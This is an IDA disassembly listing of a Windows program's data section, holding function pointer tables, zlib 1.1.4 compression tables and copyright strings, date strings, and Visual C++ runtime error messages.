off_4F1D70 dd offset sub_49486E ; DATA XREF: sub_4986BC+C6r
; sub_4997AD+185r ...
off_4F1D74 dd offset sub_494B14 ; DATA XREF: sub_49512C+9Er
; sub_4980E0+9Ar ...
off_4F1D78 dd offset sub_491135 ; DATA XREF: sub_497D6E+Dr
; sub_49B14F+Dr ...
off_4F1D7C dd offset sub_491336 ; DATA XREF: sub_4A101A+Dr
; sub_4A2806+Dr
off_4F1D80 dd offset sub_49156F ; DATA XREF: sub_495329+Dr
; sub_497F97+Dr ...
off_4F1D84 dd offset sub_4917A9 ; DATA XREF: sub_49CE90+Dr
; sub_49F081+Dr ...
off_4F1D88 dd offset sub_4919DC ; DATA XREF: sub_4955CD+Dr
; sub_495835+Dr ...
off_4F1D8C dd offset sub_491CA1 ; DATA XREF: sub_497E12+Dr
; sub_498394+Dr ...
off_4F1D90 dd offset sub_491EBB ; DATA XREF: sub_496381+Dr
; sub_4985C8+Dr ...
off_4F1D94 dd offset sub_4920E6 ; DATA XREF: sub_4953F2+Dr
; sub_495743+Dr ...
off_4F1D98 dd offset sub_4922F2 ; DATA XREF: sub_49B95C+Dr
; sub_49CF72+Dr ...
off_4F1D9C dd offset sub_49255B ; DATA XREF: sub_498DD8+Dr
; sub_49B5EE+Dr ...
off_4F1DA0 dd offset sub_492865 ; DATA XREF: sub_496126+Dr
; sub_499ED8+Dr ...
off_4F1DA4 dd offset sub_492A69 ; DATA XREF: sub_49591C+Dr
; sub_495DD2+Dr ...
off_4F1DA8 dd offset sub_492C5B ; DATA XREF: sub_497C2D+Dr
; sub_4991C7+Dr ...
off_4F1DAC dd offset sub_492E5E ; DATA XREF: sub_4959C8+Dr
; sub_499942+Dr ...
off_4F1DB0 dd offset sub_492FA8 ; DATA XREF: sub_495547+Dr
; sub_499E2C+Dr ...
off_4F1DB4 dd offset sub_493102 ; DATA XREF: sub_499022+Dr
; sub_49AC45+Dr ...
off_4F1DB8 dd offset sub_4932D2 ; DATA XREF: sub_495F54+Dr
; sub_49BB7F+Dr ...
off_4F1DBC dd offset sub_493474 ; DATA XREF: sub_495A73+Dr
; sub_4962AA+Dr ...
off_4F1DC0 dd offset sub_49359E ; DATA XREF: sub_4951DA+Dr
; sub_4989E5+Dr ...
off_4F1DC4 dd offset sub_49373C ; DATA XREF: sub_495BCB+Dr
; sub_49602D+Dr ...
off_4F1DC8 dd offset sub_4938FD ; DATA XREF: sub_497CCC+Dr
; sub_49823A+Dr ...
off_4F1DCC dd offset sub_493A51 ; DATA XREF: sub_49818A+Dr
; sub_499C30+Dr ...
off_4F1DD0 dd offset sub_493C4E ; DATA XREF: sub_49526F+Dr
; sub_4954BD+Dr ...
off_4F1DD4 dd offset sub_493EDB ; DATA XREF: sub_495B49+Dr
; sub_498A8F+Dr ...
off_4F1DD8 dd offset sub_494121 ; DATA XREF: sub_49568F+Dr
; sub_4999E5+Dr ...
off_4F1DDC dd offset sub_4942D0 ; DATA XREF: sub_4961D1+Dr
; sub_49C74A+Dr ...
off_4F1DE0 dd offset sub_4944F6 ; DATA XREF: sub_49961E+Dr
; sub_49A102+Dr ...
off_4F1DE4 dd offset sub_49477C ; DATA XREF: sub_498423+Dr
; sub_49850A+Dr ...
off_4F1DE8 dd offset sub_4949C1 ; DATA XREF: sub_4986BC+Dr
; sub_4997AD+Dr ...
off_4F1DEC dd offset sub_494C6D ; DATA XREF: sub_49512C+Dr
; sub_4980E0+Dr ...
byte_4F1DF0 db 1Bh ; DATA XREF: sub_4A363D+B9r
; sub_4A363D+DFr ...
align 2
dw 110Ah
dd 18130211h, 16111519h, 120E130Fh, 14101303h, 1914150Bh
dd 310031Ch, 70A0810h, 16081D0Eh, 4171307h, 41D1512h, 6031D13h
dd 6180611h, 11050405h, 5131B12h, 19161118h, 120A1000h
dd 5181011h, 60E1010h, 60516h, 0C170A12h, 81A1A1Bh, 1D080B16h
dd 18161A11h, 0A0E070Ah, 160A130Eh, 41C0014h, 0D110B09h
dd 180D1D00h, 1C0E0906h, 0C161516h, 6021909h, 1D080709h
dd 51C0B12h, 0A16111Bh, 190A1206h, 5091A04h, 1B0C1D19h
dd 0A0F150Dh, 50B0500h, 190B0E1Bh, 206070Dh, 1B070019h
dd 110E0D0Fh, 0F05170Bh, 1311051Ah, 17131204h, 0D14030Dh
dd 60E161Ch, 1A041202h, 1B1D1B17h, 140A1909h, 0B0A071Ah
dd 140E031Ah, 170D150Ah, 0A051412h, 7020102h, 0D1A0B01h
dd 1A090C05h, 0D031D06h, 80C1C11h, 1702151Bh, 18080E16h
dd 0
dword_4F1EF0 dd 0FFFFFFFFh, 4B5BC4h, 4B5BE6h, 0 ; DATA XREF: .text:004B5670o
off_4F1F00 dd offset sub_490FD0 ; DATA XREF: .text:004BB299r
dd offset sub_49129A
dd offset sub_4913D4
dd offset sub_49170B
dd offset sub_491849
dd offset sub_491B6F
dd offset sub_491DD4
dd offset sub_491FA2
dd offset sub_492229
dd offset sub_4923BD
dd offset sub_4926F9
dd offset sub_4929D0
dd offset sub_492B01
dd offset sub_492DB3
dd offset sub_492F0A
dd offset sub_493047
dd offset sub_4931BE
dd offset sub_4933E6
dd offset sub_493503
dd offset sub_49363C
dd offset sub_49383E
dd offset sub_4939BD
dd offset sub_493AE6
dd offset sub_493DB7
dd offset sub_494001
dd offset sub_494241
dd offset sub_494360
dd offset sub_49468A
dd offset sub_49486E
db 14h, 4Bh, 49h
byte_4F1F77 db 0 ; DATA XREF: .text:004BA14Fr
; .text:004BA663r
byte_4F1F78 db 0Ah ; DATA XREF: .text:004BA15Dr
; .text:004BA2F5r ...
byte_4F1F79 db 9 ; DATA XREF: .text:004BA179r
; .text:004BA223r ...
byte_4F1F7A db 0Ch ; DATA XREF: .text:004BA231r
; .text:004BA339r ...
byte_4F1F7B db 0Bh ; DATA XREF: .text:004BA24Dr
; .text:004BA761r
dd 4211805h, 0E22h, 0
dword_4F1F88 dd 0FFFFFFFFh, 4B7C62h, 4B7C68h, 0 ; DATA XREF: sub_4B78A3+5o
dword_4F1F98 dd 0FFFFFFFFh, 4BC0F0h, 4BC101h, 0 ; DATA XREF: .text:004B84DFo
aDeflate1_1_4Co db ' deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly ',0
align 10h
word_4F1FE0 dw 0 ; DATA XREF: .text:004BEB5Er
; sub_4BF3A2+63r
word_4F1FE2 dw 0 ; DATA XREF: .text:004BEB49r
; sub_4BF3A2+4Br
word_4F1FE4 dw 0 ; DATA XREF: .text:004BEB76r
; sub_4BF3A2+7Er
word_4F1FE6 dw 0 ; DATA XREF: .text:004BEB8Er
; sub_4BF3A2+99r
off_4F1FE8 dd offset sub_4BF490 ; DATA XREF: .text:004BEAF9r
; .text:004BEB0Br ...
dd 40004h, 40008h, 4BF9A3h, 50004h, 80010h, 4BF9A3h, 60004h
dd 200020h, 4BF9A3h, 40004h, 100010h, 4C0229h, 100008h
dd 200020h, 4C0229h, 100008h, 800080h, 4C0229h, 200008h
dd 1000080h, 4C0229h, 800020h, 4000102h, 4C0229h, 1020020h
dd 10000102h, 4C0229h
byte_4F2058 db 0 ; DATA XREF: .text:004C138Cr
align 2
dw 0FFFFh
dword_4F205C dd 0 ; DATA XREF: .text:004C1493o
; sub_4C149A+3Ar ...
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_4F245C dd 0 ; DATA XREF: sub_4C4162+2EEr
; .data:004EDF1Co
dd 7 dup(0)
dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0
dword_4F24D0 dd 0 ; DATA XREF: sub_4C4162+5A4r
; .data:004EDF34o
align 10h
dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6)
dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh)
dd 2 dup(0Ch), 2 dup(0Dh)
dword_4F2548 dd 10h dup(0) ; DATA XREF: .data:004EDF4Co
dd 2, 3, 7
byte_4F2594 db 10h ; DATA XREF: sub_4C2DE5+76r
; sub_4C3039+3BAr ...
db 11h, 12h, 0
dd 6090708h, 40B050Ah, 20D030Ch, 0F010Eh
dword_4F25A8 dd 8000Ch, 8008Ch, 8004Ch, 800CCh, 8002Ch, 800ACh, 8006Ch
; DATA XREF: sub_4C20F2+213o
; .data:off_4EDF18o
dd 800ECh, 8001Ch, 8009Ch, 8005Ch, 800DCh, 8003Ch, 800BCh
dd 8007Ch, 800FCh, 80002h, 80082h, 80042h, 800C2h, 80022h
dd 800A2h, 80062h, 800E2h, 80012h, 80092h, 80052h, 800D2h
dd 80032h, 800B2h, 80072h, 800F2h, 8000Ah, 8008Ah, 8004Ah
dd 800CAh, 8002Ah, 800AAh, 8006Ah, 800EAh, 8001Ah, 8009Ah
dd 8005Ah, 800DAh, 8003Ah, 800BAh, 8007Ah, 800FAh, 80006h
dd 80086h, 80046h, 800C6h, 80026h, 800A6h, 80066h, 800E6h
dd 80016h, 80096h, 80056h, 800D6h, 80036h, 800B6h, 80076h
dd 800F6h, 8000Eh, 8008Eh, 8004Eh, 800CEh, 8002Eh, 800AEh
dd 8006Eh, 800EEh, 8001Eh, 8009Eh, 8005Eh, 800DEh, 8003Eh
dd 800BEh, 8007Eh, 800FEh, 80001h, 80081h, 80041h, 800C1h
dd 80021h, 800A1h, 80061h, 800E1h, 80011h, 80091h, 80051h
dd 800D1h, 80031h, 800B1h, 80071h, 800F1h, 80009h, 80089h
dd 80049h, 800C9h, 80029h, 800A9h, 80069h, 800E9h, 80019h
dd 80099h, 80059h, 800D9h, 80039h, 800B9h, 80079h, 800F9h
dd 80005h, 80085h, 80045h, 800C5h, 80025h, 800A5h, 80065h
dd 800E5h, 80015h, 80095h, 80055h, 800D5h, 80035h, 800B5h
dd 80075h, 800F5h, 8000Dh, 8008Dh, 8004Dh, 800CDh, 8002Dh
dd 800ADh, 8006Dh, 800EDh, 8001Dh, 8009Dh, 8005Dh, 800DDh
dd 8003Dh, 800BDh, 8007Dh, 800FDh, 90013h, 90113h, 90093h
dd 90193h, 90053h, 90153h, 900D3h, 901D3h, 90033h, 90133h
dd 900B3h, 901B3h, 90073h, 90173h, 900F3h, 901F3h, 9000Bh
dd 9010Bh, 9008Bh, 9018Bh, 9004Bh, 9014Bh, 900CBh, 901CBh
dd 9002Bh, 9012Bh, 900ABh, 901ABh, 9006Bh, 9016Bh, 900EBh
dd 901EBh, 9001Bh, 9011Bh, 9009Bh, 9019Bh, 9005Bh, 9015Bh
dd 900DBh, 901DBh, 9003Bh, 9013Bh, 900BBh, 901BBh, 9007Bh
dd 9017Bh, 900FBh, 901FBh, 90007h, 90107h, 90087h, 90187h
dd 90047h, 90147h, 900C7h, 901C7h, 90027h, 90127h, 900A7h
dd 901A7h, 90067h, 90167h, 900E7h, 901E7h, 90017h, 90117h
dd 90097h, 90197h, 90057h, 90157h, 900D7h, 901D7h, 90037h
dd 90137h, 900B7h, 901B7h, 90077h, 90177h, 900F7h, 901F7h
dd 9000Fh, 9010Fh, 9008Fh, 9018Fh, 9004Fh, 9014Fh, 900CFh
dd 901CFh, 9002Fh, 9012Fh, 900AFh, 901AFh, 9006Fh, 9016Fh
dd 900EFh, 901EFh, 9001Fh, 9011Fh, 9009Fh, 9019Fh, 9005Fh
dd 9015Fh, 900DFh, 901DFh, 9003Fh, 9013Fh, 900BFh, 901BFh
dd 9007Fh, 9017Fh, 900FFh, 901FFh
word_4F29A8 dw 0 ; DATA XREF: sub_4C1C03+14Br
; sub_4C1C03+217r ...
word_4F29AA dw 7 ; DATA XREF: sub_4C1C03+129r
; sub_4C1C03+3A4r
a@_0:
unicode 0, <@>
dw 7
unicode 0, < >
dw 7
unicode 0, <`>
dw 7
dd 70010h, 70050h, 70030h, 70070h, 70008h, 70048h, 70028h
dd 70068h, 70018h, 70058h, 70038h, 70078h, 70004h, 70044h
dd 70024h, 70064h, 70014h, 70054h, 70034h, 70074h, 80003h
dd 80083h, 80043h, 800C3h, 80023h, 800A3h, 80063h, 800E3h
dword_4F2A28 dd 50000h, 50010h, 50008h, 50018h, 50004h, 50014h, 5000Ch
; DATA XREF: sub_4C20F2:loc_4C2300o
; .data:off_4EDF30o
dd 5001Ch, 50002h, 50012h, 5000Ah, 5001Ah, 50006h, 50016h
dd 5000Eh, 5001Eh, 50001h, 50011h, 50009h, 50019h, 50005h
dd 50015h, 5000Dh, 5001Dh, 50003h, 50013h, 5000Bh, 5001Bh
dd 50007h, 50017h
byte_4F2AA0 db 0 ; DATA XREF: .text:004BFB80r
; .text:004C049Dr ...
db 1, 2, 3
dd 5050404h, 6060606h, 7070707h, 2 dup(8080808h), 2 dup(9090909h)
dd 4 dup(0A0A0A0Ah), 4 dup(0B0B0B0Bh), 8 dup(0C0C0C0Ch)
dd 8 dup(0D0D0D0Dh), 10h dup(0E0E0E0Eh), 10h dup(0F0F0F0Fh)
byte_4F2BA0 db 0 ; DATA XREF: .text:004BFB99r
; .text:004C04B6r ...
align 2
dw 1110h
dd 13131212h, 14141414h, 15151515h, 2 dup(16161616h), 2 dup(17171717h)
dd 4 dup(18181818h), 4 dup(19191919h), 8 dup(1A1A1A1Ah)
dd 8 dup(1B1B1B1Bh), 10h dup(1C1C1C1Ch), 10h dup(1D1D1D1Dh)
byte_4F2CA0 db 0 ; DATA XREF: .text:004BFB34r
; .text:004BFB54r ...
db 1, 2, 3
dd 7060504h, 9090808h, 0B0B0A0Ah, 0C0C0C0Ch, 0D0D0D0Dh
dd 0E0E0E0Eh, 0F0F0F0Fh, 2 dup(10101010h), 2 dup(11111111h)
dd 2 dup(12121212h), 2 dup(13131313h), 4 dup(14141414h)
dd 4 dup(15151515h), 4 dup(16161616h), 4 dup(17171717h)
dd 8 dup(18181818h), 8 dup(19191919h), 8 dup(1A1A1A1Ah)
dd 7 dup(1B1B1B1Bh), 1C1B1B1Bh
dword_4F2DA0 dd 0 ; DATA XREF: sub_4C4162+308r
dd 1, 2, 3, 4, 5, 6, 7, 8, 0Ah, 0Ch, 0Eh, 10h, 14h, 18h
dd 1Ch, 20h, 28h, 30h, 38h, 40h, 50h, 60h, 70h, 80h, 0A0h
dd 0C0h, 0E0h, 0
dword_4F2E14 dd 0 ; DATA XREF: sub_4C4162+5BEr
dd 1, 2, 3, 4, 6, 8, 0Ch, 10h, 18h, 20h, 30h, 40h, 60h
dd 80h, 0C0h, 100h, 180h, 200h, 300h, 400h, 600h, 800h
dd 0C00h, 1000h, 1800h, 2000h, 3000h, 4000h, 6000h
dword_4F2E8C dd 10h ; DATA XREF: sub_4C4F0F+9D9r
; sub_4C4F0F+A1Er
dd 11h, 12h, 0
dd 8, 7, 9, 6, 0Ah, 5, 0Bh, 4, 0Ch, 3, 0Dh, 2, 0Eh, 1
dd 0Fh
aInflate1_1_4Co db ' inflate 1.1.4 Copyright 1995-2002 Mark Adler ',0
align 4
dword_4F2F08 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Dh, 0Fh, 11h, 13h, 17h
; DATA XREF: sub_4C7A96+50o
dd 1Bh, 1Fh, 23h, 2Bh, 33h, 3Bh, 43h, 53h, 63h, 73h, 83h
dd 0A3h, 0C3h, 0E3h, 102h, 2 dup(0)
dword_4F2F84 dd 8 dup(0) ; DATA XREF: sub_4C7A96+4Bo
dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0
dd 2 dup(70h)
dword_4F3000 dd 1, 2, 3, 4, 5, 7, 9, 0Dh, 11h, 19h, 21h, 31h, 41h, 61h
; DATA XREF: sub_4C7A96+D9o
dd 81h, 0C1h, 101h, 181h, 201h, 301h, 401h, 601h, 801h
dd 0C01h, 1001h, 1801h, 2001h, 3001h, 4001h, 6001h
dword_4F3078 dd 4 dup(0) ; DATA XREF: sub_4C7A96+D4o
dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6)
dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh)
dd 2 dup(0Ch), 2 dup(0Dh)
aHMmSs db 'H:mm:ss',0 ; DATA XREF: .data:004EF340o
aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:004EF33Co
aMDYy db 'M/d/yy',0 ; DATA XREF: .data:004EF338o
align 4
aPm_0 db 'PM',0 ; DATA XREF: .data:004EF334o
align 4
aAm_0 db 'AM',0 ; DATA XREF: .data:004EF330o
align 4
aDecember_0 db 'December',0 ; DATA XREF: .data:004EF32Co
align 4
aNovember_0 db 'November',0 ; DATA XREF: .data:004EF328o
align 4
aOctober db 'October',0 ; DATA XREF: .data:004EF324o
aSeptember db 'September',0 ; DATA XREF: .data:004EF320o
align 4
aAugust db 'August',0 ; DATA XREF: .data:004EF31Co
align 10h
aJuly db 'July',0 ; DATA XREF: .data:004EF318o
align 4
aJune_0 db 'June',0 ; DATA XREF: .data:004EF314o
align 10h
aApril_0 db 'April',0 ; DATA XREF: .data:004EF30Co
align 4
aMarch db 'March',0 ; DATA XREF: .data:004EF308o
align 10h
aFebruary db 'February',0 ; DATA XREF: .data:004EF304o
align 4
aJanuary db 'January',0 ; DATA XREF: .data:004EF300o
aDec db 'Dec',0 ; DATA XREF: .data:004EF2FCo
aNov db 'Nov',0 ; DATA XREF: .data:004EF2F8o
aOct db 'Oct',0 ; DATA XREF: .data:004EF2F4o
aSep db 'Sep',0 ; DATA XREF: .data:004EF2F0o
aAug db 'Aug',0 ; DATA XREF: .data:004EF2ECo
aJul db 'Jul',0 ; DATA XREF: .data:004EF2E8o
aJun db 'Jun',0 ; DATA XREF: .data:004EF2E4o
aMay db 'May',0 ; DATA XREF: .data:004EF2E0o
; .data:004EF310o
aApr db 'Apr',0 ; DATA XREF: .data:004EF2DCo
aMar db 'Mar',0 ; DATA XREF: .data:004EF2D8o
aFeb db 'Feb',0 ; DATA XREF: .data:004EF2D4o
aJan db 'Jan',0 ; DATA XREF: .data:004EF2D0o
aSaturday_0 db 'Saturday',0 ; DATA XREF: .data:004EF2CCo
align 10h
aFriday_0 db 'Friday',0 ; DATA XREF: .data:004EF2C8o
align 4
aThursday_0 db 'Thursday',0 ; DATA XREF: .data:004EF2C4o
align 4
aWednesday db 'Wednesday',0 ; DATA XREF: .data:004EF2C0o
align 10h
aTuesday_0 db 'Tuesday',0 ; DATA XREF: .data:004EF2BCo
aMonday_0 db 'Monday',0 ; DATA XREF: .data:004EF2B8o
align 10h
aSunday_0 db 'Sunday',0 ; DATA XREF: .data:004EF2B4o
align 4
aSat db 'Sat',0 ; DATA XREF: .data:004EF2B0o
aFri db 'Fri',0 ; DATA XREF: .data:004EF2ACo
aThu db 'Thu',0 ; DATA XREF: .data:004EF2A8o
aWed db 'Wed',0 ; DATA XREF: .data:004EF2A4o
aTue db 'Tue',0 ; DATA XREF: .data:004EF2A0o
byte_4F320C db 4Dh ; DATA XREF: __output_0+4Ar
; .data:004EF29Co
db 6Fh, 6Eh, 0
dword_4F3210 dd 6E7553h ; DATA XREF: .data:off_4EF298o
dword_4F3214 dd 702F61h ; DATA XREF: __store_winword:loc_4C9DF6o
aAmPm db 'am/pm',0 ; DATA XREF: __store_winword:loc_4C9DE0o
align 10h
dword_4F3220 dd 0FFFFFFFFh, 4CA1E2h, 4CA1F6h ; DATA XREF: start+5o
byte_4F322C db 6 ; DATA XREF: __output_0:loc_4CA582r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
db 8,'`h````',0
dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h
dd 8
aNull_1: ; DATA XREF: .data:off_4EF350o
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: .data:off_4EF34Co
align 10h
aSunmontuewed_0 db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmarapr_0 db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 10h
; char aTz[]
aTz db 'TZ',0 ; DATA XREF: __tzset_0+Ao
align 4
; char a__global_heap_[]
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_4CBD81+8Eo
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_4CBD81+4Fo
align 4
aRuntimeError db 'runtime error ',0
align 4
db 0Dh,0Ah,0
align 4
aTlossError db 'TLOSS error',0Dh,0Ah,0
align 4
aSingError db 'SING error',0Dh,0Ah,0
align 4
aDomainError db 'DOMAIN error',0Dh,0Ah,0
align 4
aR6028UnableToI db 'R6028',0Dh,0Ah
db '- unable to initialize heap',0Dh,0Ah,0
align 10h
aR6027NotEnou_0 db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnou_0 db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 10h
aR6025PureVir_0 db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnou_0 db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 10h
aR6019UnableT_0 db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpec_0 db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 10h
aR6017Unexpec_0 db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 10h
aR6016NotEnou_0 db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProg_0 db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 10h
aR6009NotEnou_0 db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnou_0 db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002Floatin_0 db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_4EF6CCo
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVis_0 db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE_0+119o
align 4
; char asc_4F35C8[]
asc_4F35C8 db 0Ah ; DATA XREF: __NMSG_WRITE_0+F1o
db 0Ah,0
align 4
; char aRuntimeError_0[]
aRuntimeError_0 db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE_0+D3o
db 0Ah
db 'Program: ',0
align 4
; char a____0[]
a____0 db '...',0 ; DATA XREF: __NMSG_WRITE_0+BFo
; char aProgramNameU_0[]
aProgramNameU_0 db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE_0+7Do
align 4
dword_4F3604 dd 0 ; DATA XREF: ___crtGetStringTypeA_0+52o
; ___crtLCMapStringA_0+57o ...
dword_4F3608 dd 2 dup(0) ; DATA XREF: ___crtGetStringTypeA_0+39o
; ___crtLCMapStringA_0+36o ...
dword_4F3610 dd 0FFFFFFFFh, 4CD87Eh, 4CD882h ; DATA XREF: ___crtGetStringTypeA_0+5o
aGetlastactiv_0 db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA_0+3Do
align 10h
aGetactivewin_0 db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA_0+35o
aMessageboxa_0 db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA_0+24o
aUser32_dll db 'user32.dll',0 ; DATA XREF: ___crtMessageBoxA_0+Do
align 4
dword_4F3658 dd 0FFFFFFFFh, 4CE66Ah, 4CE66Eh, 0FFFFFFFFh, 4CE71Eh, 4CE722h
; DATA XREF: ___crtLCMapStringA_0+5o
dword_4F3670 dd 0FFFFFFFFh, 4CEAAEh, 4CEAB2h, 0FFFFFFFFh, 4CEB1Dh, 4CEB21h
; DATA XREF: ___crtCompareStringA_0+5o
dword_4F3688 dd 0FFFFFFFFh, 4CF4C4h, 4CF4C8h, 0FFFFFFFFh, 4CF541h, 4CF545h
; DATA XREF: ___crtLCMapStringW_0+5o
dword_4F36A0 dd 0FFFFFFFFh, 4CF739h, 4CF73Dh, 0FFFFFFFFh, 4CF796h, 4CF79Ah
; DATA XREF: ___crtGetStringTypeW_0+5o
byte_4F36B8 db 0 ; DATA XREF: sub_48EAE0+7w
; sub_48EAE0+89w ...
align 4
dword_4F36BC dd 0 ; DATA XREF: .text:004905F1r
; .text:004905F9r ...
dword_4F36C0 dd 0 ; DATA XREF: sub_490893+31w
; sub_4908CE+1Ar ...
dword_4F36C4 dd 0 ; DATA XREF: sub_490743+20w
; sub_4907D5+58r ...
byte_4F36C8 db 0 ; DATA XREF: .text:004905ACr
; .text:004906C1r ...
align 4
dword_4F36CC dd 0 ; DATA XREF: .text:00490665r
